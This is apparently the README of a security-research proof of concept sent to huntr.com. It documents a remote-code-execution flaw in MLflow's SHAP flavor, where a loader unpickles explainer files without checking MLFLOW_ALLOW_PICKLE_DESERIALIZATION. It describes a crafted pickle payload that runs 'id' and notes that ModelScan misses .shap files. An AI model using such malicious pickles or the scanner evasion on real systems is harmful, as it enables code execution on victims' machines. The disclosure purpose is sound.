MLflow SHAP Flavor — Pickle Deserialization Bypass PoC
Security Research PoC — submitted to huntr.com
This repository demonstrates a Remote Code Execution vulnerability in MLflow's shap flavor.
Vulnerability
MLflow's SHAP flavor saves serialized explainer objects as explainer.shap files,
which are internally pickle/cloudpickle binaries. When loading, _load_explainer()
calls shap.Explainer.load() — which internally calls pickle.load() — without
checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION, MLflow's security control against
arbitrary deserialization.
Additionally, the .shap extension is not recognized by ModelScan as a dangerous
format, providing a second layer of evasion.
Files
| File | Description |
|---|---|
MLmodel |
Crafted MLflow model config — shap flavor, serialized_explainer: explainer.shap |
explainer.shap |
Malicious payload — pickle protocol 4, executes id > /tmp/mlflow_shap_rce.txt |
conda.yaml |
Standard conda environment spec |
python_env.yaml |
Standard Python environment spec |
Affected Code
mlflow/shap/__init__.py lines 644–650
def _load_explainer(explainer_file, model=None):
import shap
with open(explainer_file, "rb") as explainer:
explainer = shap.Explainer.load(explainer) # ← pickle.load, NO protection check
Reproduction
import os, mlflow
os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "false" # protection ON
# Load model — triggers pickle.load on explainer.shap
model = mlflow.pyfunc.load_model("path/to/this/repo")
# Check RCE:
with open("/tmp/mlflow_shap_rce.txt") as f:
print(f.read()) # uid=1000(user) gid=1000(user) ...
Impact
- RCE even when
MLFLOW_ALLOW_PICKLE_DESERIALIZATION=false - ModelScan does not flag
.shapfiles - All MLflow deployment environments affected
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support